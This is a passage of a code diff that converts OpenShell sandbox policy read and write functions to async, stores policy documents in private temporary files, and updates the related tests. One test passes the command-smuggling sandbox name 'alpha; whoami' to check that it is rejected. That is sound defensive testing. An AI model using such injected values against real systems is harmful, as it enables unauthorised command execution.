f.parseLiveSandboxNamesMock.mockReturnValue(new Set(["alpha", "beta"])); - f.readSandboxPolicyMock.mockReturnValue({ + f.readSandboxPolicyMock.mockResolvedValue({ ok: true, value: { document: [ @@ -290,11 +290,11 @@ describe("runSandboxSnapshot restore: clone port identity", () => { const initialPolicy = "version: 1\nnetwork_policies:\n initial: {}\n"; const latestPolicy = "version: 1\nnetwork_policies:\n host_edit: {}\n"; f.readSandboxPolicyMock - .mockReturnValueOnce({ + .mockResolvedValueOnce({ ok: true, value: { document: initialPolicy, appliedRevision: null }, }) - .mockReturnValue({ + .mockResolvedValue({ ok: true, value: { document: latestPolicy, appliedRevision: null }, }); @@ -337,11 +337,11 @@ describe("runSandboxSnapshot restore: clone port identity", () => { it("keeps a --force destination when the final pre-delete policy read fails", async () => { f.readSandboxPolicyMock - .mockReturnValueOnce({ + .mockResolvedValueOnce({ ok: true, value: { document: "version: 1\nnetwork_policies: {}\n", appliedRevision: null }, }) - .mockReturnValue({ + .mockResolvedValue({ ok: false, error: { kind: "command", diff --git a/src/lib/actions/sandbox/snapshot-restore-test-fixture.ts b/src/lib/actions/sandbox/snapshot-restore-test-fixture.ts index d5796d305dc..db445aaf3e5 100644 --- a/src/lib/actions/sandbox/snapshot-restore-test-fixture.ts +++ b/src/lib/actions/sandbox/snapshot-restore-test-fixture.ts @@ -4,7 +4,7 @@ import { vi } from "vitest"; import { resolveTestAgentBaselinePolicy } from "../../../../test/support/snapshot-policy-test-fixture"; import type { MutableConfigRepairResult } from "../../sandbox/mutable-config-perms"; -import type { SyncOpenShellSandboxPolicyReader } from "../../adapters/openshell/sandbox-policy"; +import type { OpenShellSandboxPolicyReader } from "../../adapters/openshell/sandbox-policy"; import type { SandboxEntry, SandboxHostLocalInferenceProvenance, @@ -149,8 +149,8 @@ export const loadAgentMock = vi.fn((name: string) => ({ export const captureOpenshellMock = vi.fn< (args: string[], opts?: Record) => OpenshellCaptureResult >((args) => defaultOpenshellResponses(args)); -export const readSandboxPolicyMock = vi.fn( - () => ({ +export const readSandboxPolicyMock = vi.fn( + async () => ({ ok: true, value: { document: "version: 1\nnetwork_policies: {}\n", @@ -246,7 +246,7 @@ vi.mock("../../adapters/openshell/runtime", () => ({ vi.mock("../../adapters/openshell/sandbox-policy-cli", async (importOriginal) => ({ ...(await importOriginal()), - syncCliOpenShellSandboxPolicyReader: { + cliOpenShellSandboxPolicyReader: { inspectSandboxPolicy: vi.fn(), readSandboxPolicy: readSandboxPolicyMock, readSandboxPolicyRevision: vi.fn(), @@ -388,7 +388,7 @@ export function resetSnapshotRestoreMocks(): void { }); lifecycleMock.events.length = 0; captureOpenshellMock.mockImplementation((args) => defaultOpenshellResponses(args)); - readSandboxPolicyMock.mockReturnValue({ + readSandboxPolicyMock.mockResolvedValue({ ok: true, value: { document: "version: 1\nnetwork_policies: {}\n", diff --git a/src/lib/actions/sandbox/snapshot.ts b/src/lib/actions/sandbox/snapshot.ts index f6a7cd83905..3668a0aadb5 100644 --- a/src/lib/actions/sandbox/snapshot.ts +++ b/src/lib/actions/sandbox/snapshot.ts @@ -7,7 +7,7 @@ import { isDeepStrictEqual } from "node:util"; import { dockerCapture } from "../../adapters/docker"; import { namedOpenShellGateway, - syncCliOpenShellSandboxPolicyReader, + cliOpenShellSandboxPolicyReader, } from "../../adapters/openshell/sandbox-policy-cli"; import { captureOpenshell, @@ -397,7 +397,7 @@ async function prepareSnapshotClonePolicy( cleanup?: () => boolean; }> { const gatewayName = resolveSandboxGatewayName(srcEntry); - const policyRead = syncCliOpenShellSandboxPolicyReader.readSandboxPolicy({ + const policyRead = await cliOpenShellSandboxPolicyReader.readSandboxPolicy({ target: namedOpenShellGateway(gatewayName), sandboxName: srcEntry.name, scope: "base", diff --git a/src/lib/actions/sandbox/status-snapshot.ts b/src/lib/actions/sandbox/status-snapshot.ts index 018caa82265..7daabe2763a 100644 --- a/src/lib/actions/sandbox/status-snapshot.ts +++ b/src/lib/actions/sandbox/status-snapshot.ts @@ -820,7 +820,7 @@ async function buildSandboxStatusReport( ); const sandboxGpuEnabled = sb ? (sb.sandboxGpuEnabled ?? sb.gpuEnabled === true) : false; const hostMounts = normalizeSandboxStatusHostMounts(sb?.hostMounts); - const livePolicies = sb ? (deps.getGatewayPresets ?? getGatewayPresets)(sandboxName) : []; + const livePolicies = sb ? await (deps.getGatewayPresets ?? getGatewayPresets)(sandboxName) : []; const agent = resolveSandboxStatusAgent(sb?.agent || "openclaw"); return { schemaVersion: 1, diff --git a/src/lib/actions/sandbox/status-text.ts b/src/lib/actions/sandbox/status-text.ts index f98907c8582..2e09c882822 100644 --- a/src/lib/actions/sandbox/status-text.ts +++ b/src/lib/actions/sandbox/status-text.ts @@ -305,7 +305,9 @@ function printInferenceRouteDrift( } /** Render registry-backed sandbox details and return any non-fatal degraded outcome. */ -export function printSandboxDetails(context: SandboxStatusTextContext): SandboxStatusTextOutcome { +export async function printSandboxDetails( + context: SandboxStatusTextContext, +): Promise { const { sb, currentModel, currentProvider, sandboxName } = context; if (!sb) return { exitCode: null }; @@ -339,7 +341,7 @@ export function printSandboxDetails(context: SandboxStatusTextContext): SandboxS console.log( ` OpenShell: ${sb.openshellVersion || "unknown"} (${sb.openshellDriver || "unknown"})`, ); - const livePolicies = getGatewayPresets(sandboxName); + const livePolicies = await getGatewayPresets(sandboxName); console.log( ` Policies: ${livePolicies === null ? "unavailable" : livePolicies.join(", ") || "none"}`, ); diff --git a/src/lib/actions/sandbox/status.ts b/src/lib/actions/sandbox/status.ts index 9557ff2d18f..ddfc31fd3f5 100644 --- a/src/lib/actions/sandbox/status.ts +++ b/src/lib/actions/sandbox/status.ts @@ -74,15 +74,15 @@ function getPublishedSandbox(sandboxName: string): registry.SandboxEntry | null return entry && registry.isPublishedSandboxRegistration(entry) ? entry : null; } -function hermesPortableStatusReport( +async function hermesPortableStatusReport( sandboxName: string, authority: HermesPortableAgentLifecycleAuthority, readPolicies: typeof getGatewayPresets, -): SandboxStatusReport { +): Promise { const { entry, phase } = authority; const model = entry?.model ?? "unknown"; const provider = entry?.provider ?? "unknown"; - const livePolicies = readPolicies(sandboxName); + const livePolicies = await readPolicies(sandboxName); return { schemaVersion: 1, name: sandboxName, @@ -127,7 +127,7 @@ export async function getSandboxStatusReport( return withMcpLifecycleLock(sandboxName, async () => { const hermesPortable = inspectHermesPortableStatus(sandboxName); if (hermesPortable) { - return hermesPortableStatusReport( + return await hermesPortableStatusReport( sandboxName, hermesPortable, deps.getGatewayPresets ?? getGatewayPresets, @@ -235,7 +235,7 @@ async function showLegacySandboxStatus(sandboxName: string): Promise { statusAgent, phase, }; - const textOutcome = printSandboxDetails(textContext); + const textOutcome = await printSandboxDetails(textContext); if ( (textOutcome.exitCode || llamaCpp?.kind === "unavailable") && (!process.exitCode || process.exitCode === 0) diff --git a/src/lib/adapters/openshell/client.ts b/src/lib/adapters/openshell/client.ts index f52da469a3a..67ab73a91d3 100644 --- a/src/lib/adapters/openshell/client.ts +++ b/src/lib/adapters/openshell/client.ts @@ -364,6 +364,7 @@ export function captureOpenshellCommandAsync( timeoutKillSignal: opts.killSignal === "SIGTERM" || opts.killSignal === "SIGKILL" ? opts.killSignal : undefined, timeoutMilliseconds: opts.timeout, + outputLimitBytes: opts.maxBuffer, }).then((result) => ({ status: result.status ?? (result.timedOut ? null : 1), output: `${result.stdout}${shouldIncludeStderr(opts) ? result.stderr : ""}`.trim(), diff --git a/src/lib/adapters/openshell/runtime.test.ts b/src/lib/adapters/openshell/runtime.test.ts index 87970a81631..429ffaab4fa 100644 --- a/src/lib/adapters/openshell/runtime.test.ts +++ b/src/lib/adapters/openshell/runtime.test.ts @@ -11,10 +11,10 @@ import * as registry from "../../state/registry"; import { inspectOpenShellSandboxIdentityFingerprint } from "./sandbox-identity-cli"; import { namedOpenShellGateway } from "./sandbox-observer"; import { - readCliOpenShellSandboxPolicy, - syncCliOpenShellSandboxPolicyWriter, + cliOpenShellSandboxPolicyReader, + cliOpenShellSandboxPolicyWriter, } from "./sandbox-policy-cli"; -import { captureResolvedOpenshell, runOpenshell } from "./runtime"; +import { captureResolvedOpenshell, captureResolvedOpenshellAsync, runOpenshell } from "./runtime"; const directories: string[] = []; @@ -112,6 +112,23 @@ describe("captureResolvedOpenshell", () => { }); }); +describe("captureResolvedOpenshellAsync", () => { + it("bounds captured output from the selected executable", async () => { + const result = await captureResolvedOpenshellAsync([], { + openshellBinary: largeOutputExecutable("openshell"), + ignoreError: true, + maxBuffer: 64, + includeStreams: true, + }); + + expect((result.error as NodeJS.ErrnoException | undefined)?.code).toBe( + "ERR_CHILD_PROCESS_STDIO_MAXBUFFER", + ); + expect(result.stdout).toBe("x".repeat(64)); + expect(result.status).not.toBe(0); + }); +}); + describe("sanitized OpenShell capture", () => { it("gives policy and identity reads the same gateway-pinned sanitized environment", async () => { const directory = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-openshell-env-test-")); @@ -142,13 +159,13 @@ describe("sanitized OpenShell capture", () => { vi.stubEnv("AWS_SECRET_ACCESS_KEY", "must-not-reach-openshell"); await expect( - readCliOpenShellSandboxPolicy({ + cliOpenShellSandboxPolicyReader.readSandboxPolicy({ target: namedOpenShellGateway("nemoclaw"), sandboxName: "alpha", scope: "base", runtimeSelection, }), - ).resolves.toMatchObject({ result: { ok: true } }); + ).resolves.toMatchObject({ ok: true }); expect( inspectOpenShellSandboxIdentityFingerprint({ sandboxName: "alpha", @@ -156,10 +173,10 @@ describe("sanitized OpenShell capture", () => { runtimeSelection, }), ).toHaveLength(64); - syncCliOpenShellSandboxPolicyWriter.setSandboxPolicy({ + await cliOpenShellSandboxPolicyWriter.setSandboxPolicy({ target: namedOpenShellGateway("nemoclaw"), sandboxName: "alpha", - policyPath: path.join(directory, "policy.yaml"), + document: "version: 1\nnetwork_policies: {}", runtimeSelection, }); @@ -180,7 +197,7 @@ describe("sanitized OpenShell capture", () => { expect(environments[0]).not.toHaveProperty("AWS_SECRET_ACCESS_KEY"); }); - it("keeps a policy mutation on one selected OpenShell runtime", () => { + it("keeps a policy mutation on one selected OpenShell runtime", async () => { const directory = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-runtime-test-")); directories.push(directory); const captureLog = path.join(directory, "capture.jsonl"); @@ -231,7 +248,7 @@ describe("sanitized OpenShell capture", () => { network_policies: { selected: { endpoints: [{ host: "example.com", port: 443 }] } }, }); expect( - setPolicyDocument(sandboxName, desiredPolicy, { nonFatal: true, runtimeSelection }), + await setPolicyDocument(sandboxName, desiredPolicy, { nonFatal: true, runtimeSelection }), ).toBe(true); const records = fs diff --git a/src/lib/adapters/openshell/runtime.ts b/src/lib/adapters/openshell/runtime.ts index 401df226619..1cb4152bf91 100644 --- a/src/lib/adapters/openshell/runtime.ts +++ b/src/lib/adapters/openshell/runtime.ts @@ -140,6 +140,23 @@ export function captureSandboxSshConfig(sandboxName: string, opts: RunnerOptions }); } +/** Capture a resolved command asynchronously with bounded output and no process exit. */ +export function captureResolvedOpenshellAsync(args: CommandArgs, opts: RunnerOptions = {}) { + const openshell = opts.openshellBinary ?? resolveOpenshellBinaryOrNull(); + if (!openshell) throw new Error("OpenShell is unavailable"); + if (!path.isAbsolute(openshell)) throw new Error("OpenShell executable must be absolute"); + return captureOpenshellCommandAsync(openshell, args, { + cwd: ROOT, + env: opts.env, + replaceEnv: opts.replaceEnv, + ignoreError: opts.ignoreError, + includeStderr: opts.includeStderr, + includeStreams: opts.includeStreams, + timeout: opts.timeout, + maxBuffer: opts.maxBuffer, + }); +} + /** Resolve the status-probe timeout (ms) from env, falling back to the default. */ export function getStatusProbeTimeoutMs(): number { const raw = process.env.NEMOCLAW_STATUS_PROBE_TIMEOUT_MS; diff --git a/src/lib/adapters/openshell/sandbox-policy-cli.test.ts b/src/lib/adapters/openshell/sandbox-policy-cli.test.ts index 592526eda45..1a9e07d8352 100644 --- a/src/lib/adapters/openshell/sandbox-policy-cli.test.ts +++ b/src/lib/adapters/openshell/sandbox-policy-cli.test.ts @@ -1,6 +1,9 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 +import fs from "node:fs"; +import path from "node:path"; + import { describe, expect, it, vi } from "vitest"; import { namedOpenShellGateway, selectedOpenShellGateway } from "./sandbox-observer"; @@ -8,8 +11,7 @@ import type { CapturedOpenShellCommandResult } from "./sandbox-observer-cli"; import { classifyCliOpenShellSandboxPolicySetResult, createCliOpenShellSandboxPolicyReader, - createSyncCliOpenShellSandboxPolicyWriter, - createSyncCliOpenShellSandboxPolicyReader, + createCliOpenShellSandboxPolicyWriter, } from "./sandbox-policy-cli"; const POLICY = "version: 1\nnetwork_policies: {}"; @@ -19,17 +21,27 @@ function captured(overrides: Partial = {}) { } describe("CLI OpenShell sandbox policy reader", () => { - it("maps synchronous base reads to the recorded gateway", () => { + it("maps base reads to the recorded gateway", async () => { const capture = vi.fn(() => captured()); - const reader = createSyncCliOpenShellSandboxPolicyReader({ capture }); + const reader = createCliOpenShellSandboxPolicyReader({ capture }); expect( - reader.readSandboxPolicy({ + await reader.readSandboxPolicy({ target: namedOpenShellGateway("nemoclaw"), sandboxName: "alpha", scope: "base", }), - ).toEqual({ ok: true, value: { document: POLICY, appliedRevision: 3 } }); + ).toEqual({ + ok: true, + value: { + document: POLICY, + appliedRevision: 3, + metadata: [ + { field: "Version", value: "4" }, + { field: "Active", value: "3" }, + ], + }, + }); expect(capture).toHaveBeenCalledWith( ["policy", "get", "-g", "nemoclaw", "--base", "alpha"], expect.objectContaining({ ignoreError: true, timeout: 15_000 }), @@ -162,15 +174,15 @@ describe("CLI OpenShell sandbox policy reader", () => { }); describe("CLI OpenShell sandbox policy writer", () => { - it("maps a successful synchronous write to exact gateway-pinned arguments", () => { + it("maps a successful write to exact gateway-pinned arguments", async () => { const capture = vi.fn(() => captured({ output: "" })); - const writer = createSyncCliOpenShellSandboxPolicyWriter({ capture }); + const writer = createCliOpenShellSandboxPolicyWriter({ capture }); expect( - writer.setSandboxPolicy({ + await writer.setSandboxPolicy({ target: namedOpenShellGateway("nemoclaw"), sandboxName: "my-dev-assistant-v2", - policyPath: "/tmp/policy.yaml", + document: POLICY, }), ).toEqual({ outcome: { kind: "applied" }, status: 0 }); expect(capture).toHaveBeenCalledWith( @@ -180,7 +192,7 @@ describe("CLI OpenShell sandbox policy writer", () => { "-g", "nemoclaw", "--policy", - "/tmp/policy.yaml", + expect.any(String), "--wait", "my-dev-assistant-v2", ], @@ -188,46 +200,93 @@ describe("CLI OpenShell sandbox policy writer", () => { ); }); - it("classifies an authoritative policy refusal without exposing it as a transport error", () => { + it("retains private submission material until capture finishes on success", async () => { + let settle!: () => void; + let policyPath = ""; + const capture = vi.fn(async (args: string[]) => { + policyPath = args[args.indexOf("--policy") + 1]!; + await new Promise((resolve) => { + settle = resolve; + }); + expect(fs.readFileSync(policyPath, "utf8")).toBe(POLICY); + return captured({ output: "" }); + }); + const pending = createCliOpenShellSandboxPolicyWriter({ capture }).setSandboxPolicy({ + target: selectedOpenShellGateway(), + sandboxName: "alpha", + document: POLICY, + }); + expect(fs.statSync(policyPath).mode & 0o777).toBe(0o600); + expect(fs.statSync(path.dirname(policyPath)).mode & 0o777).toBe(0o700); + settle(); + await expect(pending).resolves.toEqual({ outcome: { kind: "applied" }, status: 0 }); + expect(fs.existsSync(path.dirname(policyPath))).toBe(false); + }); + + it("retains private submission material until capture finishes on capture failure", async () => { + let settle!: () => void; + let policyPath = ""; + const capture = vi.fn(async (args: string[]) => { + policyPath = args[args.indexOf("--policy") + 1]!; + await new Promise((resolve) => { + settle = resolve; + }); + expect(fs.readFileSync(policyPath, "utf8")).toBe(POLICY); + throw new Error("capture failed"); + }); + const pending = createCliOpenShellSandboxPolicyWriter({ capture }).setSandboxPolicy({ + target: selectedOpenShellGateway(), + sandboxName: "alpha", + document: POLICY, + }); + expect(fs.statSync(policyPath).mode & 0o777).toBe(0o600); + expect(fs.statSync(path.dirname(policyPath)).mode & 0o777).toBe(0o700); + settle(); + await expect(pending).rejects.toThrow("capture failed"); + expect(fs.existsSync(path.dirname(policyPath))).toBe(false); + }); + + it("classifies an authoritative policy refusal without exposing it as a transport error", async () => { const stderr = "Error: code: 'Failed precondition', message: 'network policy rejected', " + "source: tonic::Status { code: FailedPrecondition, grpc_status: 9 }"; const capture = vi.fn((_args: string[]) => captured({ status: 1, output: "", stderr })); - const writer = createSyncCliOpenShellSandboxPolicyWriter({ + const writer = createCliOpenShellSandboxPolicyWriter({ capture, }); expect( - writer.setSandboxPolicy({ + await writer.setSandboxPolicy({ target: selectedOpenShellGateway(), sandboxName: "alpha", - policyPath: "/tmp/policy.yaml", + document: POLICY, }), ).toEqual({ - outcome: { kind: "rejected", status: 1, message: "network policy rejected" }, status: 1, + outcome: { kind: "rejected", status: 1, message: "network policy rejected" }, }); expect(capture.mock.calls[0]?.[0]).toEqual([ "policy", "set", "--policy", - "/tmp/policy.yaml", + expect.any(String), "--wait", "alpha", ]); }); - it("rejects an invalid sandbox name before invoking OpenShell", () => { + it("rejects an invalid sandbox name before invoking OpenShell", async () => { const capture = vi.fn(() => captured({ output: "" })); - const writer = createSyncCliOpenShellSandboxPolicyWriter({ capture }); + const writer = createCliOpenShellSandboxPolicyWriter({ capture }); - expect(() => - writer.setSandboxPolicy({ - target: selectedOpenShellGateway(), - sandboxName: "alpha; whoami", - policyPath: "/tmp/policy.yaml", - }), - ).toThrow("Invalid OpenShell sandbox name"); + await expect( + (async () => + await writer.setSandboxPolicy({ + target: selectedOpenShellGateway(), + sandboxName: "alpha; whoami", + document: POLICY, + }))(), + ).rejects.toThrow("Invalid OpenShell sandbox name"); expect(capture).not.toHaveBeenCalled(); }); diff --git a/src/lib/adapters/openshell/sandbox-policy-cli.ts b/src/lib/adapters/openshell/sandbox-policy-cli.ts index 68c058599c9..bc159263253 100644 --- a/src/lib/adapters/openshell/sandbox-policy-cli.ts +++ b/src/lib/adapters/openshell/sandbox-policy-cli.ts @@ -1,6 +1,9 @@ // SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. // SPDX-License-Identifier: Apache-2.0 +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; import YAML from "yaml"; import { assertNoOpenShellGatewayEndpointOverride } from "../../openshell-gateway-endpoint-guard"; @@ -16,14 +19,14 @@ import { type OpenShellPolicyInspection, } from "./policy-boundary"; import { isValidName } from "../../sandbox-name-contract"; -import { stripCredentials } from "../../security/credential-filter"; +import { stripCredentials, redactCredentialText } from "../../security/credential-filter"; import { stripAnsi } from "./client"; import { openshellNotFoundDiagnosticLines, tryResolveOpenshellBinary, withSelectedOpenShellCommandOptions, } from "./command-argv"; -import { captureSanitizedResolvedOpenshell } from "./sanitized-capture"; +import { captureSanitizedResolvedOpenshellAsync } from "./sanitized-capture"; import type { OpenShellSandboxResult } from "./sandbox-observer"; import { classifyCliOpenShellCommandError, @@ -31,6 +34,7 @@ import { type CaptureOpenShellCommand, } from "./sandbox-observer-cli"; import type { + SyncOpenShellSandboxPolicyReader, InspectOpenShellSandboxPolicyRequest, OpenShellSandboxPolicyRead, OpenShellSandboxPolicyReader, @@ -40,8 +44,6 @@ import type { ReadOpenShellSandboxPolicyRequest, ReadOpenShellSandboxPolicyRevisionRequest, SetOpenShellSandboxPolicyRequest, - SyncOpenShellSandboxPolicyReader, - SyncOpenShellSandboxPolicyWriter, } from "./sandbox-policy"; export { namedOpenShellGateway, selectedOpenShellGateway } from "./sandbox-observer"; @@ -66,14 +68,6 @@ type CapturePolicyCommand = ( type PolicyReaderDeps = Readonly<{ capture: Capture; defaultTimeoutMs?: number }>; type PolicyWriterDeps = Readonly<{ capture: Capture; defaultTimeoutMs?: number }>; -export type CliOpenShellSandboxPolicyReadResult = Readonly<{ - result: OpenShellSandboxResult; - displayOutput: string; -}>; -export type CliOpenShellSandboxPolicyRead = ( - request: ReadOpenShellSandboxPolicyRequest, -) => Promise; - const DEFAULT_POLICY_READ_TIMEOUT_MS = 15_000; const POLICY_READ_MAX_BYTES = 1024 * 1024; const POLICY_READ_ERROR_MESSAGES = { @@ -108,18 +102,18 @@ export function redactOpenShellSandboxPolicyDocumentForDisplay(document: string) } } -export function redactOpenShellSandboxPolicyReadForDisplay(input: { - readonly displayOutput: string; - readonly document: string; -}): { readonly raw: string; readonly yaml: string } | null { - const yaml = redactOpenShellSandboxPolicyDocumentForDisplay(input.document); - if (yaml === null) return null; - const metadata = metadataSection(stripAnsi(input.displayOutput)) +function parsePolicyMetadata(output: string): NonNullable { + return metadataSection(stripAnsi(output)) .split(/\r?\n/u) - .map(safePolicyMetadataLine) - .filter((line): line is string => line !== null) - .join("\n"); - return { raw: metadata ? `${metadata}\n---\n${yaml}` : yaml, yaml }; + .flatMap((input) => { + const line = safePolicyMetadataLine(input); + if (line === null) return []; + const separator = line.indexOf(":"); + const field = line.slice(0, separator) as NonNullable< + OpenShellSandboxPolicyRead["metadata"] + >[number]["field"]; + return [{ field, value: line.slice(separator + 1).trim() }]; + }); } function assertPolicyRequest(request: { @@ -150,10 +144,10 @@ function gatewayRequest(request: { }; } -function policySetArgs(request: SetOpenShellSandboxPolicyRequest): string[] { +function policySetArgs(request: SetOpenShellSandboxPolicyRequest, policyPath: string): string[] { return buildOpenShellSandboxPolicySetArgs({ ...gatewayRequest(request), - policyPath: request.policyPath, + policyPath, }); } @@ -195,10 +189,13 @@ export const classifyCliOpenShellSandboxPolicySetResult = classifyOpenShellSandb function parsePolicySet( captured: CapturedOpenShellCommandResult, ): OpenShellSandboxPolicySetSubmission { - return { - outcome: classifyOpenShellSandboxPolicySetResult(captured), - status: captured.status, - }; + let outcome = classifyOpenShellSandboxPolicySetResult(captured); + if (outcome.kind === "rejected") { + outcome = { ...outcome, message: redactCredentialText(outcome.message) }; + } else if (outcome.kind === "ambiguous") { + outcome = { kind: "ambiguous", detail: "OpenShell did not confirm the policy submission" }; + } + return { status: captured.status, outcome }; } function parseCaptured( @@ -219,7 +216,10 @@ function parsePolicyRead(captured: CapturedOpenShellCommandResult) { return parseCaptured( captured, "OpenShell returned an invalid sandbox policy document.", - (output) => parseOpenShellSandboxPolicyRead(stripAnsi(output)), + (output) => ({ + ...parseOpenShellSandboxPolicyRead(stripAnsi(output)), + metadata: parsePolicyMetadata(output), + }), ); } @@ -256,28 +256,14 @@ function parsePolicyRevision( ); } -export function createCliOpenShellSandboxPolicyRead( - deps: PolicyReaderDeps, -): CliOpenShellSandboxPolicyRead { - return async (request) => { - const captured = await deps.capture( - policyReadArgs(request), - captureOptions(request, deps.defaultTimeoutMs), - ); - const result = parsePolicyRead(captured); - return { - result, - displayOutput: result.ok ? capturedOutput(captured) : "", - }; - }; -} - export function createCliOpenShellSandboxPolicyReader( deps: PolicyReaderDeps, ): OpenShellSandboxPolicyReader { - const read = createCliOpenShellSandboxPolicyRead(deps); return { - readSandboxPolicy: async (request) => (await read(request)).result, + readSandboxPolicy: async (request) => + parsePolicyRead( + await deps.capture(policyReadArgs(request), captureOptions(request, deps.defaultTimeoutMs)), + ), inspectSandboxPolicy: async (request) => parsePolicyInspection( request, @@ -299,64 +285,65 @@ export function createCliOpenShellSandboxPolicyReader( }; } -export function createSyncCliOpenShellSandboxPolicyReader( - deps: PolicyReaderDeps, -): SyncOpenShellSandboxPolicyReader { - return { - readSandboxPolicy: (request) => - parsePolicyRead( - deps.capture(policyReadArgs(request), captureOptions(request, deps.defaultTimeoutMs)), - ), - inspectSandboxPolicy: (request) => - parsePolicyInspection( - request, - deps.capture(policyInspectionArgs(request), captureOptions(request, deps.defaultTimeoutMs)), - ), - readSandboxPolicyRevision: (request) => - !Number.isSafeInteger(request.revision) || request.revision < 1 - ? parsePolicyRevision(request, { status: 0, output: "" }) - : parsePolicyRevision( - request, - deps.capture( - policyRevisionArgs(request), - captureOptions(request, deps.defaultTimeoutMs), - ), - ), - }; -} - +/** Ephemeral CLI input belongs to the transport, not to policy orchestration. */ export function createCliOpenShellSandboxPolicyWriter( deps: PolicyWriterDeps, ): OpenShellSandboxPolicyWriter { return { setSandboxPolicy: async (request) => { assertPolicyRequest(request); - return parsePolicySet( - await deps.capture(policySetArgs(request), captureOptions(request, deps.defaultTimeoutMs)), - ); + try { + parseOpenShellPolicy(request.document); + } catch { + return { + status: 1, + outcome: { kind: "rejected", status: 1, message: "Invalid sandbox policy document." }, + }; + } + const directory = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-")); + try { + const policyPath = path.join(directory, "policy.yaml"); + fs.writeFileSync(policyPath, request.document, { encoding: "utf-8", mode: 0o600 }); + return parsePolicySet( + await deps.capture( + policySetArgs(request, policyPath), + captureOptions(request, deps.defaultTimeoutMs), + ), + ); + } finally { + // A retained policy is never reported as a clean result, even after a successful write. + let reason: string | null = null; + try { + fs.rmSync(directory, { recursive: true, force: true }); + } catch (error) { + const code = (error as NodeJS.ErrnoException).code; + reason = typeof code === "string" && /^[A-Z_]+$/.test(code) ? code : "removal failed"; + } + if (!reason && fs.existsSync(directory)) reason = "the path still exists"; + if (reason) + throw new Error( + `Could not remove the temporary policy directory '${directory}' (${reason}). It still holds the composed sandbox policy; remove it before retrying.`, + ); + } }, }; } -export function createSyncCliOpenShellSandboxPolicyWriter( - deps: PolicyWriterDeps, -): SyncOpenShellSandboxPolicyWriter { +export const cliOpenShellSandboxPolicyReader = createCliOpenShellSandboxPolicyReader({ + capture: captureSanitizedResolvedOpenshellAsync, +}); +export const cliOpenShellSandboxPolicyWriter = createCliOpenShellSandboxPolicyWriter({ + capture: captureSanitizedResolvedOpenshellAsync, +}); + +/** Portable lifecycle retains synchronous lock ownership until its consumer migration. */ +export function createSyncCliOpenShellSandboxPolicyReader( + deps: PolicyReaderDeps, +): SyncOpenShellSandboxPolicyReader { return { - setSandboxPolicy: (request) => { - assertPolicyRequest(request); - return parsePolicySet( - deps.capture(policySetArgs(request), captureOptions(request, deps.defaultTimeoutMs)), - ); - }, + readSandboxPolicy: (request) => + parsePolicyRead( + deps.capture(policyReadArgs(request), captureOptions(request, deps.defaultTimeoutMs)), + ), }; } - -export const readCliOpenShellSandboxPolicy = createCliOpenShellSandboxPolicyRead({ - capture: captureSanitizedResolvedOpenshell, -}); -export const syncCliOpenShellSandboxPolicyReader = createSyncCliOpenShellSandboxPolicyReader({ - capture: captureSanitizedResolvedOpenshell, -}); -export const syncCliOpenShellSandboxPolicyWriter = createSyncCliOpenShellSandboxPolicyWriter({ - capture: captureSanitizedResolvedOpenshell, -}); diff --git a/src/lib/adapters/openshell/sandbox-policy.ts b/src/lib/adapters/openshell/sandbox-policy.ts index 085ea55f3ac..8b636f6cbe6 100644 --- a/src/lib/adapters/openshell/sandbox-policy.ts +++ b/src/lib/adapters/openshell/sandbox-policy.ts @@ -3,17 +3,7 @@ import type { OpenShellGatewayTarget, OpenShellSandboxResult } from "./sandbox-observer"; import type { OpenShellRuntimeSelection } from "./runtime-selection"; -import type { - OpenShellPolicyInspection, - OpenShellSandboxPolicyRead, - OpenShellSandboxPolicySetSubmission, -} from "./policy-boundary"; - -export type { - OpenShellSandboxPolicyRead, - OpenShellSandboxPolicySetOutcome, - OpenShellSandboxPolicySetSubmission, -} from "./policy-boundary"; +import type { OpenShellPolicyInspection } from "./policy-boundary"; export type OpenShellSandboxPolicyScope = "base" | "effective"; @@ -25,7 +15,7 @@ type OpenShellSandboxPolicyRequest = Readonly<{ }>; export type SetOpenShellSandboxPolicyRequest = OpenShellSandboxPolicyRequest & - Readonly<{ policyPath: string }>; + Readonly<{ document: string }>; export type ReadOpenShellSandboxPolicyRequest = OpenShellSandboxPolicyRequest & Readonly<{ scope: OpenShellSandboxPolicyScope }>; @@ -40,34 +30,43 @@ export type OpenShellSandboxPolicyRevisionRead = Readonly<{ revision: number; }>; -type PolicyResult = Async extends true - ? Promise> - : OpenShellSandboxResult; +export type OpenShellSandboxPolicyRead = Readonly<{ + document: string; + appliedRevision: number | null; + metadata?: readonly Readonly<{ + field: "Version" | "Active" | "Hash" | "Status" | "Created" | "Loaded" | "Updated"; + value: string; + }>[]; +}>; -interface OpenShellSandboxPolicyReaderContract { - readSandboxPolicy: ( +// Keep exit-status compatibility for existing policy commands. +export type { + OpenShellSandboxPolicySetOutcome, + OpenShellSandboxPolicySetSubmission, +} from "./policy-boundary"; +import type { OpenShellSandboxPolicySetSubmission } from "./policy-boundary"; + +export interface OpenShellSandboxPolicyReader { + readSandboxPolicy( request: ReadOpenShellSandboxPolicyRequest, - ) => PolicyResult; - inspectSandboxPolicy: ( + ): Promise>; + inspectSandboxPolicy( request: InspectOpenShellSandboxPolicyRequest, - ) => PolicyResult; - readSandboxPolicyRevision: ( + ): Promise>; + readSandboxPolicyRevision( request: ReadOpenShellSandboxPolicyRevisionRequest, - ) => PolicyResult; + ): Promise>; } -export type OpenShellSandboxPolicyReader = OpenShellSandboxPolicyReaderContract; - -export type SyncOpenShellSandboxPolicyReader = OpenShellSandboxPolicyReaderContract; - -interface OpenShellSandboxPolicyWriterContract { - setSandboxPolicy: ( +export interface OpenShellSandboxPolicyWriter { + setSandboxPolicy( request: SetOpenShellSandboxPolicyRequest, - ) => Async extends true - ? Promise - : OpenShellSandboxPolicySetSubmission; + ): Promise; } -export type OpenShellSandboxPolicyWriter = OpenShellSandboxPolicyWriterContract; - -export type SyncOpenShellSandboxPolicyWriter = OpenShellSandboxPolicyWriterContract; +/** Transitional reader for portable lifecycle consumers tracked in #11479. */ +export interface SyncOpenShellSandboxPolicyReader { + readSandboxPolicy( + request: ReadOpenShellSandboxPolicyRequest, + ): 